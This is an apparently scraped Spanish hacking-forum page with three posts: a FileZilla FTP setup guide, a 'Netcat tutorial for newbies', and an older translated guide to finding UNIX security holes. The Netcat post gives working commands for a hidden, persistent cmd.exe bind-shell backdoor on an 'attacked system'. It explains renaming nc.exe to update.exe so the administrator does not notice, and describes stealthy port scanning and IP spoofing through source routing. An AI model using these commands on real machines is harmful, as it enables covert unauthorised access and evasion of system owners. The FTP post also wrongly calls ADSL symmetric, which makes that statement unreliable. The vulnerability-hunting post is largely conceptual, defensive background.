Conectarte a un servidor FTP es muy fácil. En la parte superior nos encontramos con 4 cuadros de diálogo: Dirección, Usuario, Contraseña y Puerto.

No tenemos más que escribir el nombre o dirección IP en la que se encuentra el servidor FTP al que queremos conectar. Si disponemos de un usuario y contraseña, lo escribiremos, si no lo dejaremos en blanco (esto último se llama "conexión anónima" y funcionará si el servidor ftp tiene configurado el aceptar conexiones anónimas). Y por último está el puerto por si la persona con la que queremos conectar ha puesto su servidor FTP en un puerto distinto al estándard (que es el puerto 21) para "camuflarlo" o para darle más protección. Pulsamos sobre el botón ConexiónRápida y si todo ha ido bien (si no ha ido bien, sigue leyendo), en la parte de Sitio Remoto (en el centro y a la derecha) veremos el listado de ficheros y directorios del servidor.

Si queremos bajar un fichero, no tenemos más que arrastar el fichero al cuadro de la izquierda (que si nos fijamos son los directorios de nuestro disco duro) y en el directorio de nuestro ordenador que queramos almacenarlo. Si queremos subir un fichero al servidor FTP (y tenemos permisos para ello) no tenemos más que arrastar el fichero desde el cuadro que representa el ordenador (centro a la izquierda) al cuadro que representa el ordenador al que nos hemos conectado (centro a la derecha).

Conforme vayamos subiendo o bajando ficheros, éstos se pondrán en cola en el cuadro inferior, donde podemos ver cuántos ficheros estamos transfiriendo, cuánto queda por bajarnos y pinchando en el fichero, podrás parar momentáneamente la transferencia, reanudarla o cancelarla.

Varios trucos:

i) Puedes crear una lista de sitios FTP con la opción de menú Archivo -> Administrador de sitios y ahí puedes dar de alta las direcciones (con usuarios y contraseñas) de los sitios FTP que más uses.

ii) Si una transferencia de un fichero se corta accidentalmente (se te apaga el ordenador o se corta la conexión), puedes reanudarlo donde lo dejaste. Símplemente tienes que volver a transferir el fichero a tu ordenador (en el mismo sitio donde está el que se te quedó incompleto) y te dará las opciones de sobreescribirlo o de seguir la transferencia por donde la dejaste.

Posibles problemas:

Por las características del protocolo FTP, si tienes un router o un firewall personal, la conexión FTP puede que no se pueda realizar correctamente. Para esos casos existe una modalidad llamada FTP pasivo. ¿Cómo sabemos cuando necesitamos una conexión de FTP pasivo o una conexión normal de FTP? La forma más fácil es probando. A la hora de conectarnos al servidor veremos que la conexión se realiza correctamente, te acepta el usuario y la contraseña, pero a la hora de pedir el listado de ficheros, se queda parado. En ese caso hay que probar con FTP pasivo o quizás incluso desactivarlo. No existen reglas fijas como "dejar siempre FTP pasivo" puesto que hay servidores FTP que no aceptan esta modalidad. Es por ello que, vuelvo a repetir, no hay una regla fija.

Para activar/desactivar el FTP pasivo hay que ir a la opción de menú Edición -> Configuración -> Configuración del cortafuegos y la opción es Passive Mode. Activarlo o desactivarlo puede significar que podamos conectar a un servidor cuando antes no podíamos.

El servidor FTP

Con el cliente FTP úncamente nos podremos conectar a servidores que ya estén funcionando. Pero lo interesante es el crear un servidor FTP.

Al igual que con los clientes FTP, existen multitud de programas servidores FTP. No obstante, recomendamos como uno de los mejores y más versátiles el Filezilla server. Esta versión es la parte servidora, que como el programa cliente es totalmente gratuíta y podemos bajarnos el código fuente y modificarlo a nuestro gusto. El Filezilla server lo puedes bajar en You are not allowed to view links. Register or Login, donde si quieres puedes también bajarte el código fuente. Se instala y listo. Desgraciadamente, no hay versión en Español del servidor (si alguien se anima a colaborar en el proyecto como traductor, desde esa página Web podeis contactar y ofrecer vuestra colaboración para traducirlo).

Si en algún momento deseamos parar el servidor FTP, no tenemos más que ir a el grupo de programas Filezilla Server y ejecutar Stop Filezilla Server. Y en caso de que queramos otra vez iniciarlo, nada más fácil que ejecutar el programa Start Filezilla Server.

El filezilla server se controla mediante el programa Filezilla Server Interface. Por un lado tenemos el servidor FTP que está ejecutándose en segundo plano. Y por otro lado tenemos este programa que se encarga de gestionar el servidor FTP y de configurarlo.

Este programa controla el servidor FTP conectándose a éste a través de un puerto. De esta forma podemos controlar nuestro servidor FTP de forma remota. Nada más arrancar el programa antes mencionado, aparece la siguiente pantalla:



En esta pantalla se nos pide la dirección IP del donde está el servidor FTP (ahí tenemos que escribir o bien la IP de nuestro ordenador, o si estamos en la misma máquina en la que está instalado el servidor FTP, podemos escribir 127.0.0.1, siendo esta IP por convenio la IP de mi ordenador).

Luego se nos pide el puerto al cual conectarnos y la contraseña del servidor FTP (en principio el puerto es por defecto el 14147, aunque se puede cambiar en la configuración del servidor y la contraseña de principio está en blanco).

Si pulsamos OK, nos aparece la ventana principal de configuración del filezilla, siendo el mensaje que nos tiene que aparecer:



FileZilla Server version 0.9.3 beta

Copyright 2001 by Tim Kosse ([email protected])

Connecting to server...

Connected, waiting for authentication

Logged on



Con esto se nos indica que estamos identificados correctamente. Lo primero y más urgente es cambiar la contraseña de administración del servidor, puesto que si no, cualquierá podría conectarse a él remotamente y cambiar su configuración.

Así pues elegimos la opción de menú Edit -> Settings y una vez allí nos vamos a Admin Interface Settings y ahí escribrimos una contraseña en los campos New Password y Retype New Password.

Si nos fijamos, en esta opción de menú también podremos cambiar el puerto de administración del servidor FTP (que es por defecto el 14147).

Cuando esté cambiada la contraseña, pulsando OK se harán efectivos los cambios.

De cualquier forma, no sólo esta es la única opción configurable del servidor:

* Welcome Message: Con él podemos cambiar el mensaje de bienvenida que aparece en el cliente FTP de todos aquellos que se conecten con nuestro servidor.

* IP Filter: En esta opción podemos impedir que ciertas IPs se conecten al servidor o bien permitir que tan sólo se conecten al servidor ciertas IPs que seleccionemos.

* Logging: Si queremos ver quién está accediendo a nuestro servidor, activando el Logging, se escribirá en un fichero todos los accesos que tenga nuestro servidor y qué ficheros se bajan o suben.

* Speed Limit: Ten en cuenta que quien se conecte a tu servidor FTP te está quitando ancho de banda para que tú puedas navegar o bajar de otros servidores FTP. Con esta opción podemos limitar el ancho de banda total que va a consumir el servidor. Si vas a tener un servidor FTP funcionando todo el día y tiene gran demanda de ficheros, prueba a limitar el ancho de banda para que no te afecte a la conexión lo que otros usuarios hagan en tu servidor.

Con esto ya tenemos configurado nuestro servidor FTP. Ahora sólo queda configurar a los usuarios que van a conectarse.

En primer lugar, tú puedes configurar una serie de usuarios (con sus correspondientes contraseñas). Para crear un usuario sólo tienes que ir a Edit -> Users.

En la parte de la derecha están los usuarios del sistema. Pulsando el botón Add, podrás crear un nuevo usuario. Si tienes un volumen muy grande de usuarios, prueba a crear un grupo de usuarios y ve asignado los usuarios a los grupos. Luego es más fácil dar permiso a un grupo completo que ir usuario por usuario.

Si no tienes muchos usuarios, no hace falta que crees ningún grupo, así que símplemente escribes el login de tu usuario y elige como grupo <none> (ninguno).

Puedes crear tantos usuarios como quieras. Con Remove se eliminan, con Rename se puede cambiar el login de un usuario y con Copy puedes crear un usuario a partir de otro copiando sus datos.

Las opciones que tienes en el centro, son para cada usuario. Si seleccionas otro usuario en el panel usuarios de la derecha y modificas las opciones, esta modificación sólo se hará para ese usuario en concreto.

La opción Enable Account sirve para activar o desactivar a un usuario sin necesidad de borrarlo y activando password se le asigna a un usuario una contraseña.

Una vez que hayas creado los usuarios, nos vamos al panel de la izquierda y elegimos Shared Folders. A partir de ahí seleccionamos al un usuario y con el botón Add del panel central, vamos añadiendo directorios a ese usuario. Todos los directorios que seleccionemos serán accesibles por ese usuarios. Así que seleccionamos qué directorios queremos que ese usuario tenga acceso. Recuerda que los directorios se le asignan a un único usuario. Tendremos que asignar directorios a todos y cada uno de los usuarios que hemos creado. Si tenemos muchos usuarios, podríamos plantear crear grupos de usuarios, asignar usuarios a grupos y dar permisos y compartir carpetas no a un usuario en particular, sino a un grupo.

Una vez que tengamos seleccionadas las carpetas que va a ver un usuario, tenemos que especificar los permisos de esa carpeta. Dichos permisos están en el panel central a la derecha.

Para un directorio, existen 2 permisos básicos: Read y List. Con Read daremos permiso de lectura a los ficheros de un directorio y con List daremos permiso para listar los ficheros del directorio. Si no damos el permiso de List, cuando una persona quiera ver nuestro directorio, le aparecerá que no tiene permiso para verlo.

Write da permiso para escribir ficheros, Delete para borrarlos, Append para añadir datos a un fichero ya existente, Create es para crear directorios, Delete para borrarlos y + Subdirs es para dotar de los mismos permisos a los subdirectorios del directorio al que le hemos dado los permisos.

Las restantes pestañas de esta ventana son Speed Limits, para establecer límites de velocidad por usuario o IP filter para determinar que un usuario sólo se pueda conectar desde una IP.

Tan sólo decirte que hay un usuario especial llamado anonymous. Ese usuario es el que usan los clientes FTP para permitir entrar a un usuario sin identificación.

Así pues, es interesante que crees un usuario anonymous y que no le actives la contraseña. De esta forma permitirás que entren personas sin que tengas que darle un usuario y una contraseña. Pero no le des permiso de escritura, tan sólo de lectura.

Configuración Recomendada:

Una vez que sabemos cómo manejar este programa, vamos a explicar una configuración que nosotros pensamos que es la más recomendada:

i) Pon una contraseña de administración.

ii) Haz un directorio en el raíz de tu disco duro llamado ftp ó compartir. En ese directorio iremos creando directorios e iremos dejando los ficheros que queramos compartir.

iii) Crea un usuarios anonymous y dale permiso de lectura (Read) y de listar (List) los ficheros del directorio ftp. De esa forma no tendrás que ir dando usuario/contraseña a los que quieran entrar en tu ftp y al tener sólo permiso de lectura no podrán hacerte nada en tus ficheros.

iv) Crea un directorio dentro del directorio ftp llamado upload y dale permiso de escritura (Write) y para crear directorios (Create) para el usuario anonymous. De esta forma, si un usuario anónimo te quiere dejar algo, lo podrá hacer, pero en una carpeta distinta. Al no tener permiso de borrado (Delete), no podrá borrar nada, sólo dejarte cosas.

v) Limita la velocidad a ese usuario anonymous. Para ello modifica los correspondientes valores en Upload (tráfico que usa la gente para subirte ficheros) y Download (tráfico que usa la gente para descargarse ficheros de tí) en Seepd Limit. De esta forma, si hay mucha gente bajándose cosas de tí, no te afectará a tí para navegar por Internet. Ya depende de la velocidad de tu ADSL... y ten en cuenta que una ADSL es simétrica. Así si tienes una ADSL de 2 Mbps, tienes 2 Mpbs de tráfico upload para los usuarios y 300 Kbps de tráfico de donwload. ¿Que cómo es posible? Muy fácil, ten en cuenta que cuando tú navegas por Internet el caudal de descarga es de Internet hacia tí, y el de subida es de tí hacia Internet. Cuando tú montas un servicio en Internet, las tonas se invierten y los usuarios se descargan de tí por el canal de subida de la ADSL y suben cosas por el canal de bajada de la ADSL. Así que si tienes una ADSL de 2 Mbps, la gente en internet sólo podrá descargarse de tí como máximo 300 Kbps (que es la velocidad del canal de subida de la ADSL) y te podrán subir ficheros a tu ftp a 2Mbps (que es el canal de bajada de la ADSL). Si lo piensas tiene su lógica, ¿no?

vi) Crea varios usuarios para tus amigos y ya es tema tuyo a qué directorios quieres darle permiso y qué tipo de permisos les das.



Y bueno, ya tenemos configurado un servidor FTP para que puedas dejar cosas a la gente y la gente te pueda dejar cosas a tí. Por último faltaría (si tienes un router ADSL) el configurar el router para que la gente pueda acceder a tu servidor FTP. Ten en cuenta que la IP que tienes en Internet, cuando te instalan un router, es la IP del router y no la de tu ordenador. ¿Qué IP tiene entonces mi ordenador? Pues una dirección interna que no es accesible desde Internet. Con eso te dan los operadores seguridad y no tienes que preocuparte porque alguien desde Internet pueda acceder a tu máquina.

Si quieres montar el servicio en internet con un router, tendrás que montar un NAT inverso. Con el NAT inverso le digo al router ADSL que cuando alguien acceda a la IP del router en un puerto (por ejemplo, el puerto 21), lo rediriga a la IP interna que tiene mi máquina. Con eso cualquier paquete desde Internet que toque el router, éste lo pasará hacia dentro de tu red (más concretamente hacia tu ordenador). pero eso es otra historia. Ya depende del tipo de router que tengas instalado. Para ello deberás de consultar en el manual cómo crear un NAT inverso (o en su defecto, ir a Internet a ver cómo se hace en tu router).

You are not allowed to view links. Register or Login

1367
Hacking / Tutorial de Netcat para newbies
« on: February 18, 2010, 12:08:39 pm »
TUTORIAL DE NETCAT PARA NEWBIES

En resumen Netcat realiza y acepta conexiones TCP Y UDP. ¡Eso es todo! Netcat escribe y lee los datos en este tipo de conexiones hasta que se cierren. Proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación. Nos permitirá ver datos TCP y UDP en bruto antes de que sean recubiertos por la siguiente capa superior, tal como FTP, SMTP, o HTTP. Antes de continuar debo decirte que tendrás que tener Netcat en C:WINDOWSSystem32 por cuestiones que no soy primordiales de este manual.

LINEA DE COMANDOS

La línea básica de comandos para Netcat es nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un  determinado puerto o un rango de puertos o una serie de puertos separados por espacios. Echemos un vistazo a cada una de las opciones.

-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.
-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.
-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.
-G <puntero de saltos> Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o <archivohex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p <puerto> Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.

OBTENER ACCESO REMOTO A UNA SHELL

Si se ejecuta el comando nc.exe  -l –p4455 –e cmd.exedesde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000, cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella.

Bastante elegante, pero también da un poco de miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado. Naturalmente, en los sistemas Windows NT y Windows 2000, tendrá los mismos privilegios y servicios que el usuario que ejecute Netcat. Si creamos de esta manera una puerta trasera en Windows 95 y Windows 98obtendremos un control completo.
Vamos a seguir profundizando en este comando, recuerden que de forma predeterminada Netcat se ejecutará en la ventana DOS que se haya iniciado, este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras Netcat se encuentre en ejecución. Emplearemos la opción –d para separarla del indicador de comandos.

Código:
C:>nc.exe –l –p 4455 –d –e cmd.exe

De ésta forma, podremos ocultar una puerta trasera basada en Netcat.

Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan pronto como se finalice la conexión, Netcat pensará que su trabajo ha terminado y dejará de escuchar. Para evitar esto utilizaremos la opción –L diciéndole a Netcat que escuche con más interés incluso después de haber finalizado la conexión.

Código:
C:>nc.exe –p 4455 –d –L –e cmd.exe

Esto nos permitirá volver al sistema hasta que el administrador de dicho sistema descubra la puerta trasera. Y para evitar que nos descubra podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en este ejemplo yo tengo nc.exe que voy a mover en C: y no en C:WindowsSystem32



Cualquiera podrá ignorar algo tan aparentemente inofensivo como update.exe. Otra característica de Netcat es que si lo utilizamos sin ninguna opción en la línea de comandos, nos pedirá que la introduzcamos en la primera línea de la entrada estándar.



EXPLORACION SILENCIOSA DE PUERTOS

Como Netcat puede hablar con un rango de puertos, un uso muy obvio sería utilizarlo como explorador de puertos. La opción –z es la respuesta. Ésta opción le dirá a Netcat que envía una determinada cantidad de datos a algún puerto, pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de la exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1 desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran abiertos el 139,141 y 142.



Pero esta forma de hacerlo no es la mas correcta que digamos porque algunas aplicaciones de cortafuegos, bloquearan determinada dirección IP si reciben demasiadas conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos suceda esto Netcat permite hacer exploraciones de una manera más discreta, tan discreta que no parecerá una exploracion de puertos. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para lo haga de forma aleatoria.Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.

SUPLANTAR UNA DIRECCION IP

Suplantar una dirección IP resulta sencillo. Los cortafuegos que realizan enmascaramiento  o una traducción de las direcciones de red suplantan diariamente direcciones IP. Estos dispositivos toman un paquete desde una dirección IP interna, cambian la dirección IP origen del paquete a su propia dirección IP, lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. Por ello, decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo. Lo que si es difícil es ser capaz de recibir datos desde una dirección IP suplantada.

Netcat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos. Cualquiera podria iniciar una exploración de puertos utilizando la opción –s para hacer pensar que estan siendo explorado por Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. Supongamos, por ejemplo, que el host de destino piensa que ha recibido una petición de conexión de Microsoft, intentará enviar un mensaje de reconocimiento a dicha ip de Microsoft.  Naturalmente, esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos?

En lugar de atacar a la maquina destino, la única otra opción viable es utilizar el encaminamiento dependiente del origen. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino.

Existen dos tipos de encaminamiento dependiente del origen: estricto y relajado. El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto, pero muy pocos permiten el encaminamiento dependiente del origen relajado. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino, este proceso nos permitirá hacer que el paquete pase por nuestra maquina al regresar. Utilizando este método el encaminamiento dependiente del origen puede permitir que suplantemos una direccion IP y que obtengamos las respuestas a su viaje de vuelta. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen, pero no todos.

La opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino, por ejemplo: nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios, tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9   –G 12 10.10.9.50 23, en este comando estaremos especificando un puntero de salto utilizando la opción –G. La opción –G configurará el puntero de salto al n-simo byte (en este caso el duodecimo) y como las direcciones IP tienen 4 bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo que en su camino a 10.10.9.50, el tráfico necesitará atravesar únicamente las dos ultimas maquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras). Sin embargo en el viaje de vuelta el paquete si pasará por las 4 maquinas.

1368
Hacking / Como encontrar agujeros de Seguridad
« on: February 18, 2010, 12:04:32 pm »
1)  Agujeros de seguridad fisicos

- Cuando el problema potencial esta causado debido al hecho de dar a personas
sin autorizacion acceso fisico a la maquina, cuando esto les permitira realizar
cosas que no deberian ser capaces de hacer.
Un buen ejemplo de esto podria ser una sala publica con estaciones de trabajo
donde seria facilisimo para un usuario el reinicializar una maquina en modo
mono-ususario y trastear con los archivos de la estacion de trabajo, si no se
tomasen precauciones.
Otro ejemplo de esto es la necesidad de restringir el acceso a cintas backup
confidenciales, que de otro modo podrian ser leidas por cualquier usuario con
acceso a las cintas y con una unidad de cinta, independientemente de si tuvieran
o no permiso.

2)  Agujeros de seguridad en el software

- Cuando el problema esta causado por una mala escritura de partes "privilegiadas"
de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas
que no deberian.
El ejemplo mas famoso de esto es el bug del sendmail (ver bibliografia) que podia
permitir a un cracker el pillar una shell root. Esto podria ser usado para borrar
archivos, crear nuevas cuentas, copiar el fichero de passwords, cualquier cosa.
(Contrariamente a lo que la gente piensa, los ataques via sendmail no estaban
solo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier
cracker podia hacer esto Telneteando al puerto 25 de la victima. La historia
detras de un agujero similar (esta vez en el software "move-mail" de EMACS) se
describe en [Stoll].)
Nuevos agujeros como este aparecen todo el tiempo, y tus mejores esperanzas son:

a.  tratar de estructurar tu sistema de forma que el menor software posible con
privilegios root/daemon/bin corra en tu maquina, y que el que lo haga sepamos que
sea robusto.

b.  suscribirse a una lista de mail para poder tener lo antes posible informacion
con detalles acerca de problemas y/o parches, y actuar en cuanto la tengas.

>From: Wes Morgan <[email protected]>
>
> c: Cuando instales/actualices un sistema dado, trata de instalar/habilitar solo
>aquellos paquetes de software por los que tengas una necesidad inmediata o
>previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar
>informacion a extraños. Por ejemplo, el paquete de contabilidad del Unix System
>V de AT&T incluye >acctcom(1), que podria permitir (por omision) a cualquier ususario
>el revisar los datos de las cuentas diarias de cualquier otro usuario.
>>Muchos paquetes TCP/IP instalan/cargan automaticamente programas tales como rwhod,
>fingerd, y (ocasionalmente) tftpd, pudiendo todos presentar problemas de seguridad.
>
>Una administracion del sistema cuidadosa es la solucion. Muchos de estos programas
>son inicializados/iniciados en el arranque; desearas cambiar tus scripts de arranque
>(normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecucion.
>Desearas eliminar algunas utilidades completamente. Para algunas utilidades, un
>simple chmod(1) puede prevenir el acceso de usuarios no autorizados
>
>Resumiendo, NO CONFIES EN LOS SCRIPTS/PROGRAMAS DE INSTALACION! Tales facilidades
>tienden a instalar/cargar todo lo que hay en el paquete sin preguntartelo. Muchos
>manuales de instalacion incluyen listas de "los programas incluidos en este paquete";
>asegurate de revisarlo.

3)  Agujeros de sguridad de uso incompatible

- Cuando, a traves de la falta de experiencia, o no por fallo suyo, el administrador
del sistema reune una combinacion de hardware y software y esta es usada como un
sistema, estara seriamente dañado desde el punto de vista de la seguridad. Es la
incompatibilidad de intentar hacer dos inconexos pero utiles actos lo que crea
agujeros de seguridad.
Problemas como este son muy dificiles de encontrar una vez que el sistema esta
creado y funcionando, asi que es mejor el crear el sistema con ellos en mente(fallos).
Aunque nunca es tarde para volver a pensarlo.
Algunos ejemplos estan detallados abajo; no entremos en ellos aquí, ya que estropearia
la sorpresa.

4)  Elegir una filosofia de seguridad adecuada y mantenerla

>From: Gene Spafford <[email protected]>
>El cuarto tipo de problema de seguridad es el de la percepcion y el >entendimiento.
Software perfecto, hardware protegido, y componentes compatibles no funcionan a menos
>que hayas elegido una politica de seguridad correcta y que hayas puesto en marcha las
>partes de tu sistema que la refuercen. Tener el mejor mecanismo de password del mundo
>es inutil si tus usuarios creen que la ultima parte del nombre de su login es un buen
>password! La seguridad esta relacionada con una politica (o conjunto de politicas/normas)
>y el funcionamiento de tu sistema conforme a dicha politica

---

From: Hacking
Tema: Ideas de hacking
Date: 11/10/93

( Please contribute by sending E-Mail to <[email protected]> ... )

[Muchas de las ideas tomadas de: HaxNet - APG V1.3 : Guia para encontrar nuevos agujeros]

NOTA: Creo que esto se debe de dividir en categorias generales:
1)  Principios generales
2)  Buscar agujeros en src
3)  Buscar en las distribuciones binarias
4)  Buscar en configuraciones especificas de sites.

  Las siguientes clasificaciones generales sugieren por si mismas:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
Cool permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Division sugerida de lo de arriba en sub-categorias)
I: Suid binaries and scripts
   unexpected user interactions
   flawed liberary calls
   implicit assumptions of external conditions (sym links, loc. paths)
   race conditions
II: daemons running with priviliged uid's
   race conditions
   poor file protectons
   implicit file protections
   trust
   authentication
III: Kernel problems
   Kernel race conditions
   device driver code

El siguiente metodo de 4 pasos fue creado por System Development
Corporation, que da un indice de 65% de éxito en las hipotesis generadas.
El hacer una busqueda detallada de imperfecciones en los sistemas operativos requiere
4 pasos:

Paso 1) Conocimiento de la estructura de control del sistema
==============================================================
Para encontrar agujeros de seguridad, e identificar debilidades de diseño es necesario
entender la estructura de control del sistema, y las capas.
Uno deberia ser capaz de listar:
A)objetos de seguridad: componentes que deben ser protegidos. Ej: un archivo de usuario
B)objetos de control: componentes que protegen objetos de seguridad. Ej: un i-node
C)objetos reciprocos: objetos de ambas clases. Ej: el archivo de password.

Con dicha lista, es posible el representar graficamente una jerarquia de control e
identificar puntos potenciales de ataque. Hacer diagramas de flujo para dar un
analisis visual de relaciones definitivamente ayuda. El leer los varios manuales
de usuario, operadores, y administradores proveera dicha informacion.

Paso 2) Generar un inventario de desperfectos sospechosos
===========================================================
En particular queremos:
 Historia de codigo:
  De que UNIX deriva un defecto en particular? Esto es importante para proximas
  referencias (muy a menudo solo un vendedor parchea partes del codigo, que sera
  usado por otros en su "reencarnacion" sin parchear.
 Una referencia solida:
  Quien chequea que bugs hay, en que sistema operativo y en que versiones, nos
  previene de realizar una doble tarea.

Un buen comienzo seria el listar todos los binarios suid de las diferentes versiones
de los sistemas operativos. Despues intentar averiguar por que cada programa es suid
ej: rcp es suid root ya que debe usar un puerto privilegiado para autentificar nombres
de usuario.
A menudo, codigo que nunca fue diseñado para ser suid, se hace suid, para resolver
problemas de acceso a ficheros.
Necesitamos crear una base de datos que sea capaz de "mirar" a pares y trios de datos,
especificamente:nombre del programa, suid, sgid, objeto accedido (por que es suid/sgid),
version del sistema operativo.

Alguna sugerencia de como implementar dicha base de datos?

Paso 3) Confirmar hipotesis (testear y explotar los defectos)
===============================================================

Paso 4) Hacer generalizaciones de las debilidades del sistema, para
las que los defectos representan un ejemplo especifico
=====================================================================

Caja de herramientas
=====================
AGREP: Recomiendo a todo el mundo pillar e instalar agrep de:
        ftp cs.arizona.edu /agrep/agrep.tar.Z
Agrep soporta "windowing" por lo que puede busacr rutinas, y subrutinas. Tambien
soporta operadores logicos y es de esta forma ideal para automatizar la busqueda de
muchos de estos defectos. Ej: <psudocode>
      agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or    agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
            OR execvp()]} /usr/local/src/*.c

PROGRAMA DE PERMUTACION: Otra herramienta que merece producir es un programa que
genere todas las permutaciones posibles de los argumentos de la linea de comandos
para asi descubrir caracteristicas indocumentadas, y tratar de producir errores.

TCOV:

CRASH: Posteado a USENET (que archivo FTP?)(descripcion?)

TEXTOS: Hay varios textos que tratan metodos sobre como encontrar defectos, y
presentan series de tests
1) Un estudio empirico de la seguridad de las utilidades UNIX, por Barton P. Miller,
Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,Diciembre 90. Describe
una serie de tests para testear cadenas aleatorias de entradas.
Los resultados indicaban que un 25% de los programas se colgaban, se venian abajo, o
no actuaban como debian. En un caso el sistema operativo se vino abajo.
El entendimiento de la  composicion del buffer y el registro en el ambiente en
cuestion, y la entrada esperada se entiende que dara los resultados esperados.
2)  El conjunto de herramientas Mothra, in Proceedings of the 22nd Hawaii International
Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3)  Extending Mutation Testing to Find Environmental Bugs, by Eugene H.Spafford,
Software Practice and Experience, 20(2):181-189, Feb '90
4)  A paper by IBM was mentioned that was submitted to USENIX a few years ago.
(Anyone have a citation?).

Defectos especificos que chequear
===================================
1) Buscar rutinas que no hagan chequeos al limite, o verifiquen entradas.
Ej:la familia de rutinas gets(), donde es posible sobreescribir el limite del buffer
(sprintf()?, gets(), etc.)tambien: strcpy()

2) Las rutinas SUID/SGID escritas en uno de los shells, en vez de C o PERL

3) Las rutinas SUID/SGID escritas en PERL que no usan el programa "taintperl"

4) Las rutinas SUID/SGID que usan las llamadas system(),popen(), execlp(), o execvp()
para ejecutar otra cosa.

5) Cualquier programa que use nombres relativos de ruta (path) dentro del programa

6) El uso de nombres relativos de ruta para especificar librerias vinculadas dinamicamente.

7) Rutinas que no chequean codigos de error devueltos por llamadas del sistema
(Ej: fork(2), suid(2),setuid(), como en el famoso bug rcp)

Cool Los agujeros se pueden encontrar a menudo en codigo que:
  A)  es portado a un nuevo entorno
  B)  recibe entradas inesperadas
  C)  interactua con otro software local
  D)  accede a archivos de sistema como passwd, L.sys, etc
  E)  lee entradas de directorios o archivos publicos escribibles
  F)  programas de diagnostico que tipicamente no estan a prueba de usuarios

9) Testear codigo para entradas inesperadas. Hay disponibles herramientas de testeo de
proteccion, flujo de datos, y muacion.

10) Buscar en los textos man, y guias de usuario las advertencias en contra de las
X, y tratar variaciones de X. Hacer lo mismo con la seccion de bugs.

11) Buscar comandos o funciones raramente usados o inusuales. En particular seria util
buscar argumentos indocumentados. Buscar flags de distribuciones anteriores, o en
versiones de otros sistemas operativos. Chequear las opciones que otros programas
podrian usar. Por ejemplo, Telnet usa la opcion -h para conectarse...

12) Buscar condiciones raciales.

13) Fallos del software para verificar que realmente esta comunicandose con el software
o modulo de hardware al que quiere acceder.

14)  Falta de deteccion de errores para resetear los mecanismos de proteccion
siguientes al error.

15)  Implementacion pobre que da como resultado, por ejemplo, codigos de condicion
testeados inapropiadamente

16)  Confianza inplicita: La rutina B asume que los parametros de la rutina A son
correctos por que la rutina A es un proceso de sistema

